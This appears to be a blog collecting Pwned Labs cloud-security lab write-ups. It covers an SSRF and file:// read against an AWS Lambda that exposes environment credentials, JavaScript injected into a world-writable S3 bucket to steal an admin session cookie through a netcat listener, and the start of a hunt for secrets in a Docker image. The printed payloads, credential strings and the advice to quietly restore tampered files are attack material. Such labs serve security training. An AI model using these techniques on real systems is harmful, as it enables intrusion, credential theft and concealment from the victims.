❯ wget 'https://prod-iad-c1-djusa-tasks.s3.us-east-1.amazonaws.com/snapshots/427648302155/huge-logistics-status-ebb6abbc-63e9-47f8-b5a3-9dfc4c2e69dc?versionId=GXaKVxYEoBEFPyPl3E9avQChcfMNvUCf&X-Amz-Security-Token=IQoJb3JpZ2luX2VjENr%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJIMEYCIQD96gx8luPXuMru60QpJrCQnd21AvZGFZQuL29st3kAgQIhAM9hm09BgU%2BOhk3BWephW1YMhNqB4YJTH784zPwDYX96KsMFCLP%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEQBBoMNDc5MjMzMDI1Mzc5IgxxQiKRqCxHSczV3BgqlwVJbUhabfULZzjYqIJLd%2Fpnby%2FuWtRO5VflGyMD9MBLeilm9t%2B9KENNCZT1PemNvL6pnA%2BtoGFPjOVvrHbfACCb2tY1q9Iq%2Fh%2BWFH2bLVQfyKOD8IIA0ne38%2BICH%2FBClpAz3FMFh19vewRt7Gr%2BmWGhbCmMUfFYnesRwV0PPL81UylNl5kjmdSdKi9FL7wWUaYVHOlUpuH%2Bb1YBUw5zRYFa6cCX%2F87KDsBxe%2FdEFkRDGZ9RAzkIGw3tCuXhNnoWXOSIxnQhIYN6QTZUwa7HpAIQfraodAoOBPqRNcWDozBeTO%2B53US%2F%2BtvMs7qsENv5mqyTOADsI%2BugYHsU5qBg2ciiljR8s4kNhsO%2B37yEaQxx767hVEWJ7xgswBIJrw0W4HRV3%2BfLLUAofbpx%2BSKQc6%2B%2BIL63bGfL2%2BmaJ1htyp%2Bywbvup6mVmtbtLYTb7M3MgjieRo9mo3%2FLGenDFPNp4r6R4QXB%2FIAQH%2F06KSLzUjykJorQQYZjPtd7HO3txTPNfOZbYMP0EvkvCiyD8QGb%2F77NP3QKhcxmdqYGvuHG6JMMFyt670jBxgoJTHHZDgwV%2Bdc39uvAfoOmclN3LPDiXp86fpiiwvBMBSHHch%2BM0LveGtIi0WFD3%2FUAUtuImCNXK21f%2Be05p8mwkQxar1nJobMxFuvO39%2FJgjNFPdcXSIPoLNQ1OJh5MLKwS0qY%2BOpjm9531Hetk%2BEuF%2FV%2BhQGW7LqD8Qwb08znaMCiwfcv9jHhbJAWoCFGSL59QvqvVCu58vYZO2zY4pD3xGTEP8SrzACCQRJWUVRRXItdmhHEQ0jTz4vOr3eunoeGBws8qMQx9YaZiXU7AtREyOTV3FEaXgdKkOusDZa9pvZt2W4FEGbv4yMO3g9v9bAw2deGtQY6sAHPa03ge8ZlsGjlF9AupnpXYNDC3KfumbRmnXL2X%2FuAi830TJmATlhBxHHqKK9FnCfPkcZLIuAOkKw5WuVKlWkqc%2ByXy4AHodmvCIba6LjNgWDNpuzTV3Pognh6tnbWXS%2FwnD83TQUdhrhAZOyU0ayDSMMb6fz9JIxsrdwBSjo9Mwbhf6xx3VMcPo%2FzXUXR0tQwLfvRZb7KOaW5iYAq3Aa3OTcFKqJBLSgVIBuIOUQjWQ%3D%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20240725T022153Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIAW7FEDUVR4LHAEQXQ%2F20240725%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Signature=6204ae30eaf5eec0878200e1a7ac31829f3c67361ef04af800a872f620fdf661' -O huge-logistics-status.zip
--2024-07-25 10:26:43--  https://prod-iad-c1-djusa-tasks.s3.us-east-1.amazonaws.com/snapshots/427648302155/huge-logistics-status-ebb6abbc-63e9-47f8-b5a3-9dfc4c2e69dc?versionId=GXaKVxYEoBEFPyPl3E9avQChcfMNvUCf&X-Amz-Security-Token=IQoJb3JpZ2luX2VjENr%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJIMEYCIQD96gx8luPXuMru60QpJrCQnd21AvZGFZQuL29st3kAgQIhAM9hm09BgU%2BOhk3BWephW1YMhNqB4YJTH784zPwDYX96KsMFCLP%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEQBBoMNDc5MjMzMDI1Mzc5IgxxQiKRqCxHSczV3BgqlwVJbUhabfULZzjYqIJLd%2Fpnby%2FuWtRO5VflGyMD9MBLeilm9t%2B9KENNCZT1PemNvL6pnA%2BtoGFPjOVvrHbfACCb2tY1q9Iq%2Fh%2BWFH2bLVQfyKOD8IIA0ne38%2BICH%2FBClpAz3FMFh19vewRt7Gr%2BmWGhbCmMUfFYnesRwV0PPL81UylNl5kjmdSdKi9FL7wWUaYVHOlUpuH%2Bb1YBUw5zRYFa6cCX%2F87KDsBxe%2FdEFkRDGZ9RAzkIGw3tCuXhNnoWXOSIxnQhIYN6QTZUwa7HpAIQfraodAoOBPqRNcWDozBeTO%2B53US%2F%2BtvMs7qsENv5mqyTOADsI%2BugYHsU5qBg2ciiljR8s4kNhsO%2B37yEaQxx767hVEWJ7xgswBIJrw0W4HRV3%2BfLLUAofbpx%2BSKQc6%2B%2BIL63bGfL2%2BmaJ1htyp%2Bywbvup6mVmtbtLYTb7M3MgjieRo9mo3%2FLGenDFPNp4r6R4QXB%2FIAQH%2F06KSLzUjykJorQQYZjPtd7HO3txTPNfOZbYMP0EvkvCiyD8QGb%2F77NP3QKhcxmdqYGvuHG6JMMFyt670jBxgoJTHHZDgwV%2Bdc39uvAfoOmclN3LPDiXp86fpiiwvBMBSHHch%2BM0LveGtIi0WFD3%2FUAUtuImCNXK21f%2Be05p8mwkQxar1nJobMxFuvO39%2FJgjNFPdcXSIPoLNQ1OJh5MLKwS0qY%2BOpjm9531Hetk%2BEuF%2FV%2BhQGW7LqD8Qwb08znaMCiwfcv9jHhbJAWoCFGSL59QvqvVCu58vYZO2zY4pD3xGTEP8SrzACCQRJWUVRRXItdmhHEQ0jTz4vOr3eunoeGBws8qMQx9YaZiXU7AtREyOTV3FEaXgdKkOusDZa9pvZt2W4FEGbv4yMO3g9v9bAw2deGtQY6sAHPa03ge8ZlsGjlF9AupnpXYNDC3KfumbRmnXL2X%2FuAi830TJmATlhBxHHqKK9FnCfPkcZLIuAOkKw5WuVKlWkqc%2ByXy4AHodmvCIba6LjNgWDNpuzTV3Pognh6tnbWXS%2FwnD83TQUdhrhAZOyU0ayDSMMb6fz9JIxsrdwBSjo9Mwbhf6xx3VMcPo%2FzXUXR0tQwLfvRZb7KOaW5iYAq3Aa3OTcFKqJBLSgVIBuIOUQjWQ%3D%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20240725T022153Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIAW7FEDUVR4LHAEQXQ%2F20240725%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Signature=6204ae30eaf5eec0878200e1a7ac31829f3c67361ef04af800a872f620fdf661
Resolving prod-iad-c1-djusa-tasks.s3.us-east-1.amazonaws.com (prod-iad-c1-djusa-tasks.s3.us-east-1.amazonaws.com)... 52.217.164.10, 52.217.227.26, 54.231.197.90, ...
Connecting to prod-iad-c1-djusa-tasks.s3.us-east-1.amazonaws.com (prod-iad-c1-djusa-tasks.s3.us-east-1.amazonaws.com)|52.217.164.10|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 775 [application/zip]
Saving to: ‘huge-logistics-status.zip’

huge-logistics-status.zip        100%[==========================================================>]     775  --.-KB/s    in 0s

2024-07-25 10:26:44 (42.9 MB/s) - ‘huge-logistics-status.zip’ saved [775/775]

We list the contents and can see that this contains a single Python File

❯ unzip -l huge-logistics-status.zip
Archive:  huge-logistics-status.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
     1663  2023-07-15 17:20   lambda_function.py
---------                     -------
     1663                     1 file

The following is the code

import os
import json
import urllib.request
from datetime import datetime
import boto3
import uuid

def lambda_handler(event, context):
    s3 = boto3.client('s3')
    bucket_name = 'hl-status-log-bucket'
    
    try:
        target = event.get('target', 'http://huge-logistics.com')

        response = urllib.request.urlopen(target)
        data = response.read()
        return_status = 'Service is available.' if response.getcode() == 200 else 'Service is not available.'
        return {
            'statusCode': response.getcode(),
            'statusMessage': return_status,
            'body': data.decode('utf-8')
        }
    except urllib.error.HTTPError as e:
        return {
            'statusCode': e.code,
            'body': json.dumps({
                'message': 'HTTP error occurred.',
                'details': str(e)
            })
        }
    except Exception as e:
        debug_info = {
            'error_message': str(e),
            'request_time': datetime.utcnow().isoformat(),
            'requested_website': target,
            'event': event,
            'error_id': str(uuid.uuid4()),
        }
        debug_info_json = json.dumps(debug_info)
        
        # Try to upload to S3
        try:
            s3.put_object(Body=debug_info_json, Bucket=bucket_name, Key=f'debug_info_{context.aws_request_id}.json')
        except Exception as s3_e:
            print(f"Failed to upload debug info to S3: {str(s3_e)}")

        return {
            'statusCode': 500,
            'body': json.dumps({
                'message': 'Unexpected error occurred.',
                'debug_info': debug_info
            })
        }

There are a couple of major issues with the code being, the target URL is taken directly from the event without validation nor is validation performed on the parameter to ensure that it is safe and not an internal resource. Given that this is Lambda and is hosted on EC2 instance, this also could allow us to perform arbitrary file reads using file:// URL scheme.

We will invoke the function with the default values

❯ aws --profile cognito lambda invoke --function-name huge-logistics-status response.json
{
    "StatusCode": 200,
    "ExecutedVersion": "$LATEST"
}

This returns a 200 status code and we have the page source code as well. To validate that this is vulnerable we can specify another URL

❯ aws --profile cognito lambda invoke --function-name huge-logistics-status --payload '{ "target": "http://example.com" }' response.json

Invalid base64: "{ "target": "http://example.com" }"

We get an error as we are using the v2 CLI and we will need to pass in some additional parameters to achieve this

❯ aws --profile cognito lambda invoke --cli-binary-format raw-in-base64-out --function-name huge-logistics-status --payload '{ "target": "http://example.com" }' response.json
{
    "StatusCode": 200,
    "ExecutedVersion": "$LATEST"
}

Example code from https://docs.aws.amazon.com/cli/latest/userguide/cli_lambda_code_examples.html

So now that we know we can manipulate the payload, lets see what we can find on the EC2 instance and given that this would be Linux, the most logical would be to see environment variables which can be achieved by querying /proc/self/environ

❯ aws --profile cognito lambda invoke --cli-binary-format raw-in-base64-out --function-name huge-logistics-status --payload '{ "target": "file:///proc/self/environ" }' response.json
{
    "StatusCode": 200,
    "ExecutedVersion": "$LATEST"
}

We clean this up so that we can read it using jq and we can see that it contains AWS Keys

❯ jq '.body |= split("\u0000")' response.json

{
  "statusCode": null,
  "statusMessage": "Service is not available.",
  "body": [
    "AWS_LAMBDA_FUNCTION_VERSION=$LATEST",
    "AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjENv//////////wEaCXVzLWVhc3QtMSJHMEUCIQCShA3Vp8vpZAIs7vQDJyOUFog+WDtHRg2SZ7qGDEEFwQIgVUqN9gwlUHL0GRDDwyJ13bzMJk6gFeYWdnpDPtWIcVIqhwMItP//////////ARAAGgw0Mjc2NDgzMDIxNTUiDG1WZHqSbp4kYdjhoSrbAtmKsLpYTQh8sF4YjEVu+5hi/MW7Tx68aiNVviAOXorlkZuVx/AVZo0xWGcQGtKv4JqE2oSigjNcYFSBe6tetC+2tf7Qy/8JWKLwzj/x7wLCfP5xoDQOdwihBQUC0M+JU68LmGssC3MT+ydLHwOQTBKv9DGmaO1XsXY2OVFRlaSvdUaW8TewitlFjRR8a3aSbAD+uprYJETTI/2lGogzyM6NqSNI2i2k8PWqbt1AgPW/GBAVBC5HmvZIr50cdW+t0MC0jL53MSG2X94FM9doFBFWTirKoJWNyp8N3JOl65KUP+VFsD8rvDDPhmQvZkDEtsTkg3WNNl03CYPoLe1JU7K8CL+eGPfCoE6Tm5wUrsUPqD+HituQENCjlOBrPBpV7EsNP5ouGQocJAJHOVnpfwae6Y3yoSLy8E9AEy/FjyFDL8SjEl8JEqrcIuUjG7TZsd1gcN1yDlGaByWYMMX1hrUGOp4Bis+b1lH666r2X9PBKF0lp3NKifczWo04gMD3UnVS+UQl9R5DwkUxthTb8wexojdzsfMiKEa8mbBoampyNYHFnIGgBx+6bm8xB0mEngmMLLmzP5Dm5NywELosEYAuh0werG5PvJZ2fW3h9SgT1zXlRkrxuyp31XeYbxipnSwjrZSy+4G7PMKdX8h4lGv2oP5uhh7IywF9KgBTL0e7E+U=",
    "LAMBDA_TASK_ROOT=/var/task",
    "LD_LIBRARY_PATH=/var/lang/lib:/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib:/opt/lib",
    "AWS_LAMBDA_LOG_GROUP_NAME=/aws/lambda/huge-logistics-status",
    "AWS_LAMBDA_LOG_STREAM_NAME=2024/07/25/[$LATEST]e40f3e32da534d75a4f7fc8a27db0ecc",
    "AWS_LAMBDA_RUNTIME_API=127.0.0.1:9001",
    "AWS_EXECUTION_ENV=AWS_Lambda_python3.10",
    "AWS_LAMBDA_FUNCTION_NAME=huge-logistics-status",
    "AWS_XRAY_DAEMON_ADDRESS=169.254.79.129:2000",
    "PATH=/var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/opt/bin",
    "AWS_DEFAULT_REGION=us-east-1",
    "PWD=/var/task",
    "AWS_SECRET_ACCESS_KEY=lEuKhUmNAHzJzpI1MHzNreJgpWO6KKxZDbEQ2pMG",
    "LANG=en_US.UTF-8",
    "LAMBDA_RUNTIME_DIR=/var/runtime",
    "AWS_LAMBDA_INITIALIZATION_TYPE=on-demand",
    "AWS_REGION=us-east-1",
    "TZ=:UTC",
    "AWS_ACCESS_KEY_ID=ASIAWHEOTHRF5NBYV6U4",
    "SHLVL=0",
    "_AWS_XRAY_DAEMON_ADDRESS=169.254.79.129",
    "_AWS_XRAY_DAEMON_PORT=2000",
    "_LAMBDA_TELEMETRY_LOG_FD=3",
    "AWS_XRAY_CONTEXT_MISSING=LOG_ERROR",
    "_HANDLER=lambda_function.lambda_handler",
    "AWS_LAMBDA_FUNCTION_MEMORY_SIZE=128",
    ""
  ]
}

We set the keys and validate that they are working

❯ aws --profile cognito sts get-caller-identity
{
    "UserId": "AROAWHEOTHRFZGQWG7JDW:huge-logistics-status",
    "Account": "427648302155",
    "Arn": "arn:aws:sts::427648302155:assumed-role/huge-logistics-status-role-4m4kg3fv/huge-logistics-status"
}

As we have a new account, lets check out the bucket that was mentioned in the lambda_function.py code

❯ aws --profile cognito s3 ls hl-status-log-bucket --recursive
2023-07-16 05:14:09          0 IT-Temp/
2023-07-16 05:14:24      54152 IT-Temp/Huge Logistics Company_ AWS Disaster Recovery Plan.pdf
2023-07-15 20:11:50         32 flag.txt

Disaster Recover Plan is always worth looking at which contains Break Glass Recovery Procedures and nice of them to also provide the credentials.

PWNED!

Pwned Labs - Leverage Writable S3 Bucket to Steal Admin Cookie

Wed, 17 Jul 2024 12:02:25 +0800

Pwned Labs - Leverage Writable S3 Bucket to Steal Admin Cookie

Scenario

After gaining a foothold in the Huge Logistics AWS environment by compromising a user in a phishing attack, you found an ssh.txt on their desktop with the IP address, along with the credentials marco : hlpass99 . You have been tasked with getting deeper inside their on-premise and AWS network, and have permission to exploit any other users or interactive processes you may find!

Learning Outcomes

Basic source code enumeration
Familiarity with the AWS CLI
Enumerating and assessing S3 bucket security
Perform a session hijacking attack to steal and use an admin’s cookie
Using Amazon Macie to identify public buckets (follow-up lab recommended)
Understand the web server settings that could have mitigated this attack

Real World Context

Stealing and using cookies from privileged users is a serious and real-world security issue. This type of attack, often referred to as “session sidejacking” or “session hijacking,” involves an attacker obtaining a user’s session cookie, allowing them to impersonate that user on a web application. Administrative privileges in a web application context often allows for accessing sensitive information or other functionality that may be abusable. In terms of writable S3 buckets, various sources estimate that between 5% to 20% of all public S3 buckets are writable!

Entry Point

10.138.0.30

Attack

As we have an IP as an entry point and credentials, we will see if we are able to use these to gain a foothold. We have been able to successfully login and we run the command bash to give us a decent shell and then start basic enumeration. There is nothing in the home directory, we don’t have sudo permissions, but we do see that there is a web server running on the system

marco@ip-10-138-0-30:~$ ss -tulpn
Netid       State        Recv-Q       Send-Q                 Local Address:Port               Peer Address:Port       Process
udp         UNCONN       0            0                      127.0.0.53%lo:53                      0.0.0.0:*
udp         UNCONN       0            0                   10.138.0.30%eth0:68                      0.0.0.0:*
tcp         LISTEN       0            4096                   127.0.0.53%lo:53                      0.0.0.0:*
tcp         LISTEN       0            128                          0.0.0.0:22                      0.0.0.0:*
tcp         LISTEN       0            511                                *:80                            *:*
tcp         LISTEN       0            128                             [::]:22                         [::]:*

We navigate to the /var/www/html directory and there are some files of interest, namely the Excel Spreadsheet and config.php, but we don’t have access to these at this point in time.

marco@ip-10-138-0-30:/var/www/html$ ls -la
total 60
drwxr-xr-x 3 www-data www-data  4096 Jul 17 01:41 .
drwxr-xr-x 3 root     root      4096 Jan  3  2024 ..
-r--r----- 1 www-data www-data 12107 Jan  3  2024 8e685ca5924cbe9d3cd27efcd29d8763.xlsx
-rw-r--r-- 1 www-data www-data  4331 Jul 17 01:41 admin.php
drwxr-xr-x 2 www-data www-data  4096 Jul 17 01:41 assets
-rw-r----- 1 www-data www-data   110 Jan  3  2024 config.php
-rw-r--r-- 1 www-data www-data    19 Jan  3  2024 contact_me.php
-rw-r--r-- 1 www-data www-data  3464 Jul 17 01:41 home.php
-rw-r--r-- 1 www-data www-data 15409 Jul 17 01:41 index.php

We look inside home.php and we can see that there is an S3 bucket listed

[snip]
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>Admin Panel Log intitle>
    
    <meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport">
    
    <link rel="stylesheet" href="https://frontend-web-assets-3bf50bf21342.s3.amazonaws.com/assets/bootstrap.min.css">
    
    <link rel="stylesheet" href="https://frontend-web-assets-3bf50bf21342.s3.amazonaws.com/assets/font-awesome.min.css">

    <script src="https://frontend-web-assets-3bf50bf21342.s3.amazonaws.com/assets/bootstrap.min.js" >script>
    <script src="https://frontend-web-assets-3bf50bf21342.s3.amazonaws.com/assets/jquery-3.7.0.min.js" >script>

    <link href="https://frontend-web-assets-3bf50bf21342.s3.amazonaws.com/assets/font.css" rel="stylesheet">
    <link href="https://frontend-web-assets-3bf50bf21342.s3.amazonaws.com/assets/default.css" rel="stylesheet">
head>
[snip]

After fully enumerating the server, we will move our focus to the S3 bucket that we have found in home.php which when we browse to this takes us to Admin Panel login page which we try some common username:password combinations, but with no success.

We have been able to query the bucket which has been configured to allow public listing by issuing an unauthenticated request using the --no-sign-request parameter

❯ aws s3 ls s3://frontend-web-assets-3bf50bf21342 --recursive --no-sign-request
2024-07-17 09:40:51       6987 assets/1.jpg
2024-07-17 09:40:51    1219655 assets/11.jpg
2024-07-17 09:40:51      15337 assets/2.jpg
2024-07-17 09:40:51      54967 assets/2.png
2024-07-17 09:40:51    2553456 assets/22.jpg
2024-07-17 09:40:51    3213672 assets/33.jpg
2024-07-17 09:40:51    1808528 assets/55.jpg
2024-07-17 09:40:51       1536 assets/agency.js
2024-07-17 09:40:51       1092 assets/agency.min.js
2024-07-17 09:40:51      32403 assets/bootstrap-grid.css
2024-07-17 09:40:51      24162 assets/bootstrap-grid.min.css
2024-07-17 09:40:51       4964 assets/bootstrap-reboot.css
2024-07-17 09:40:51       4066 assets/bootstrap-reboot.min.css
2024-07-17 09:40:51     192909 assets/bootstrap.bundle.js
2024-07-17 09:40:51      69453 assets/bootstrap.bundle.min.js
2024-07-17 09:40:51     159202 assets/bootstrap.css
2024-07-17 09:40:51     111610 assets/bootstrap.js
2024-07-17 09:40:51     127343 assets/bootstrap.min.css
2024-07-17 09:40:51      50564 assets/bootstrap.min.js
2024-07-17 09:40:51    1219655 assets/chris-white-366004.jpg
2024-07-17 09:40:51       2807 assets/contact_me.js
2024-07-17 09:40:51       2252 assets/default.css
2024-07-17 09:40:51      27466 assets/font-awesome.min.css
2024-07-17 09:40:51        178 assets/font.css
2024-07-17 09:40:51      77160 assets/fontawesome-webfont.woff2
2024-07-17 09:40:51     433078 assets/header1.jpg
2024-07-17 09:40:51      36329 assets/itw.jpg
2024-07-17 09:40:51      37173 assets/jqBootstrapValidation.js
2024-07-17 09:40:51      87462 assets/jquery-3.7.0.min.js
2024-07-17 09:40:51     316940 assets/map-image.png

We will download these to our local machine using aws s3 cp s3://frontend-web-assets-3bf50bf21342 . --recursive --no-sign-request and then check Bucket and Object ACLs

❯ aws s3api get-bucket-acl --bucket frontend-web-assets-3bf50bf21342 --no-sign-request

An error occurred (AccessDenied) when calling the GetBucketAcl operation: Access Denied

❯ aws s3api get-object-acl --bucket frontend-web-assets-3bf50bf21342 --key assets/22.jpg --no-sign-request

An error occurred (AccessDenied) when calling the GetObjectAcl operation: Access Denied

As we were able to get the ACLs, we will revert to some old school methods and see if we are able to upload a file into the bucket and can see that we have full world-writable permissions.

❯ echo "This is a test" > test

❯ aws s3 cp test s3://frontend-web-assets-3bf50bf21342/assets/test --no-sign-request
upload: ./test to s3://frontend-web-assets-3bf50bf21342/assets/test

❯ aws s3 ls s3://frontend-web-assets-3bf50bf21342/assets/ --no-sign-request | grep test
2024-07-17 10:11:35         15 test

If we recall, there was an Admin Login page, so a reasonable assumption would be that we could modify one of the Javascript files that are in the admin.php page and then set up a listener on the server and wait for a cookie that we could steal to bypass the login page.

We will use the bootstrap.min.js file and we will modify by adding the following to the beginning of the file:

var xhr = new XMLHttpRequest();
xhr.open("GET", "http://localhost:8000/steal?cookie=" + document.cookie, true);
xhr.send();

The following is a breakdown of the command:

var xhr = new XMLHttpRequest();: This creates a new XMLHttpRequest object.
xhr.open("GET", "http://localhost:8000/steal?cookie=" + document.cookie, true);: This initializes a GET request to the server that we have access to using Port 8000 as it doesn’t require administrative privileges to create this port, with the cookies appended to the URL.
xhr.send();: This sends the request and the cookies are sent to us

On the target server we will setup a listener with the command nc -nlvp 8000 and then we will upload the modified file to the S3 bucket

❯ aws s3 cp bootstrap.min.js s3://frontend-web-assets-3bf50bf21342/assets/bootstrap.min.js --no-sign-request
upload: ./bootstrap.min.js to s3://frontend-web-assets-3bf50bf21342/assets/bootstrap.min.js

We immediately get a response in our listener which contains the cookie

marco@ip-10-138-0-30:~$ nc -nlvp 8000
Listening on 0.0.0.0 8000
Connection received on 127.0.0.1 41904
OPTIONS /?PHPSESSID=qkb03bui9ufqi4vgl6okn3t3ea HTTP/1.1
Host: localhost:8000
Connection: keep-alive
Accept: */*
Access-Control-Request-Method: GET
Access-Control-Request-Headers: accept
Origin: http://localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/120.0.6099.216 Safari/537.36
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Sec-Fetch-Dest: empty
Referer: http://localhost/
Accept-Encoding: gzip, deflate, br

We then navigate to /home.php and we are presented with the following page

We click on Export as XLS and it downloads a file which contains the following information

To return the system to normal, we can just copy the original file back and overwrite the changes that we made and no one will be the wiser.

Defense

There are several things that could have been undertaken to make this more secure with the first not having a world-readable / world-writable Public S3 Buckets which could easily be detected using AWS Macie using the following syntax from the AWS CLI

aws macie2 describe-buckets --region   --criteria '{"publicAccess.effectivePermission":{"eq":["PUBLIC"]}}' --query 'buckets[*].{BucketName: bucketName, AllowsPublicReadAccess: publicAccess.permissionConfiguration.bucketLevelPermissions.bucketPolicy.allowsPublicReadAccess, AllowsPublicWriteAccess: publicAccess.permissionConfiguration.bucketLevelPermissions.bucketPolicy.allowsPublicWriteAccess}' --output table

The following are security configurations that could have been implemented on the web server

Using HTTPS: We should always use HTTPS, not just HTTP. HTTPS ensures that the data between the client and server is encrypted, preventing man-in-the-middle attacks and eavesdropping. If HTTPS was in use, even if an attacker could tamper with the S3 content, they wouldn’t be able to easily capture the traffic (like cookies) without the relevant decryption keys.
Implementing a Content Security Policy (CSP): It is recommended to implement a Content Security Policy header in your web application. A CSP can be used to block unauthorized XHR requests to domains other than the application’s origin, which in this scenario would have prevented the exfiltration of data to a malicious server.
Using the SameSite Cookie Attribute: Use the SameSite attribute for cookies. We can set it to Strict or Lax to ensure that the cookie is only sent in requests coming from the same site, which reduces the risk from cross-site request forgery attacks.
Specifying an HttpOnly Attribute: We can use the HttpOnly attribute for cookies, which prevents the cookie from being accessed via JavaScript. This means that even if there’s malicious JavaScript injected, it can’t read the cookie value.
Enforcing Subresource Integrity Checks: A security feature that enables browsers to verify that resources (e.g., scripts or stylesheets) fetched from a third-party source have not been altered. By including a cryptographic hash in the resource’s HTML tag, the browser can compare the fetched file’s hash with the specified one, ensuring the integrity and authenticity of the resource. If the hashes don’t match, the browser will refuse to execute or apply the resource, thereby protecting against malicious modifications.

Pwned Labs - Uncover Secrets in CodeCommit and Docker

Tue, 09 Jul 2024 17:23:25 +0800

Uncover Secrets in CodeCommit and Docker

Scenario

Huge Logistics has engaged your team for a security assessment. Your primary objective is to scrutinize their public repositories for overlooked credentials or sensitive information. If you discover any, use them to gain initial access to their cloud infrastructure. From there, focus on lateral and vertical movement to demonstrate impact. Your aim is to identify any security gaps so they can be closed off.

Learning Outcomes

Interacting with and getting secrets from Docker containers
Enumerating and getting secrets from AWS CodeCommit
An understanding of how this could have been prevented

Real World Context

Containerization has emerged as a foundational element for interconnected services, with Docker standing out as the leading containerization platform. Docker Hub comprises more than 9,000,000 images anybody can use. In an important study of container security, researchers from RWTH Aachen University examined 337,171 images from Docker Hub along with 8,076 from private repositories. They discovered that over 8% of these images had confidential data, such as private keys and API secrets. Specifically, they identified 52,107 private keys and 3,158 exposed API secrets. Of those API secrets, 2,920 API secrets belong to cloud providers, with the researchers identifying 1,213 secrets for the AWS API.

Entry Point

https://hub.docker.com/search

Attack

Docker Hub (Graphical)

We start enumeration on Docker Hub to see if we are able to find any images that could be related to Huge Logistics and we get a hit as shown below which is one of the community images:

The name definitely is interesting as Terraform is used for Provisioning and there is definitely a high chance that it will contain something of interest. We look at the Tags and we can see just one which is version 0.12

Docker CLI

Using the docker command we are able to search and we find the same details

❯ docker search "huge logistics"
NAME                                             DESCRIPTION                                     STARS     OFFICIAL   AUTOMATED
hugecannon/factorio                              Runs factorio game server                       8                    [OK]
hugegraph/hugegraph                              Apache HugeGraph-Server Official Version        5
hugegraph/busybox                                test image                                      2
hugegraph/hugegraph-computer-operator            Apache HugeGraph Computer Operator Image        1
hugegraph/hubble                                 Apache HugeGraph analysis dashboard (data lo…   1
hljose/huge-logistics-terraform-runner           Huge Logistics Terraform Runner                 0
omarqazi/logistics                                                                               0
esignbr/logistics-test-selenium                  Project for UI testing the Logistics applica…   0
< -- snip -- >

We can also view information about the tags

❯ curl -s https://hub.docker.com/v2/repositories/hljose/huge-logistics-terraform-runner/tags | jq .
{
  "count": 1,
  "next": null,
  "previous": null,
  "results": [
    {
      "creator": 22687041,
      "id": 478187065,
      "images": [
        {
          "architecture": "amd64",
          "features": "",
          "variant": null,
          "digest": "sha256:9f2719775ca8537023b9f1c126a2b36d6b59998d9e54e3d2e0b87b0d80e75707",
          "os": "linux",
          "os_features": "",
          "os_version": null,
          "size": 53176705,
          "status": "active",
          "last_pulled": "2024-07-07T12:21:24.015417Z",
          "last_pushed": "2023-07-19T22:30:57.409626Z"
        }
      ],
      "last_updated": "2023-07-19T22:30:57.527145Z",
      "last_updater": 22687041,
      "last_updater_username": "hljose",
      "name": "0.12",
      "repository": 20534833,
      "full_size": 53176705,
      "v2": true,
      "tag_status": "active",
      "tag_last_pulled": "2024-07-07T12:21:24.015417Z",
      "tag_last_pushed": "2023-07-19T22:30:57.527145Z",
      "media_type": "application/vnd.docker.container.image.v1+json",
      "content_type": "image",
      "digest": "sha256:9f2719775ca8537023b9f1c126a2b36d6b59998d9e54e3d2e0b87b0d80e75707"
    }
  ]
}

Now that we have seen a couple of ways to get the information, lets pull the image from the registry.

❯ docker pull hljose/huge-logistics-terraform-runner:0.12
0.12: Pulling from hljose/huge-logistics-terraform-runner
31e352740f53: Pulling fs layer
733c1bd26773: Pulling fs layer
3ee224966b84: Pulling fs layer
661b6e1c6136: Waiting
e3f8a0cccb2d: Waiting
dc8d5954d00c: Waiting
1630fa498485: Waiting

We can also run docker scout, but as I am not using Docker Desktop, we have to install this manually which we can do with the following commands

curl -fsSL https://raw.githubusercontent.com/docker/scout-cli/main/install.sh -o install-scout.sh
sh install-scout.sh

Once it is installed, we run the --help command to see what the options are

❯ docker scout --help

 Command line tool for Docker Scout

Usage
  docker scout [command]

Available Commands
  attestation             Manage attestations on image indexes
  cache                   Manage Docker Scout cache and temporary files
  compare                 Compare two images and display differences (experimental)
  config                  Manage Docker Scout configuration
  cves                    Display CVEs identified in a software artifact
  enroll                  Enroll an organization with Docker Scout
  environment             Manage environments (experimental)
  help                    Display information about the available commands
  integration             Commands to list, configure, and delete Docker Scout integrations
  policy                  Evaluate policies against an image and display the policy evaluation results (experimental)
  push                    Push an image or image index to Docker Scout (experimental)
  quickview               Quick overview of an image
  recommendations         Display available base image updates and remediation recommendations
  repo                    Commands to list, enable, and disable Docker Scout on repositories
  version                 Show Docker Scout version information

Use "docker scout [command] --help" for more information about a command.

Learn More
  Read docker scout cli reference at https://docs.docker.com/engine/reference/commandline/scout/

Report Issues
  Raise bugs and feature requests at https://github.com/docker/scout-cli/issues

Send Feedback
  Send feedback with docker feedback

There are two commands that look interesting which are quickview and cves which we will run against the image

You must be logged into Docker via the CLI to run docker scout

❯ docker scout quickview hljose/huge-logistics-terraform-runner:0.12
    ✓ Image stored for indexing
    ✓ Indexed 93 packages

    i Base image was auto-detected. To get more accurate results, build images with max-mode provenance attestations.
      Review docs.docker.com ↗ for more information.

  Target               │  hljose/huge-logistics-terraform-runner:0.12  │    3C     6H    19M     1L     5?
    digest             │  31bd0544dff8                                 │
  Base image           │  alpine:3                                     │    2C     1H    10M     0L     4?
  Refreshed base image │  alpine:3                                     │    1C     0H     0M     0L
                       │                                               │    -1     -1    -10            -4
